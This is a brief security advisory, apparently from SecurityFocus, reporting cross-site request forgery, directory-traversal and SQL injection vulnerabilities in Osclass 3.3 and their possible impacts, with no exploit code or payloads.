Osclass – Multiple Input Validation Vulnerabilities
source: https://www.securityfocus.com/bid/64386/info Osclass is prone to the following input-validation vulnerabilities: 1. A cross-site request-forgery vulnerability 2. Multiple directory-traversal vulnerabilities 3. An SQL-injection vulnerability Exploiting these issues may allow a remote attacker to perform certain unauthorized actions, to view arbitrary local files and directories within the context of the webserver, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Other attacks may also be possible. Osclass 3.3 is vulnerable; other versions may also be affected.
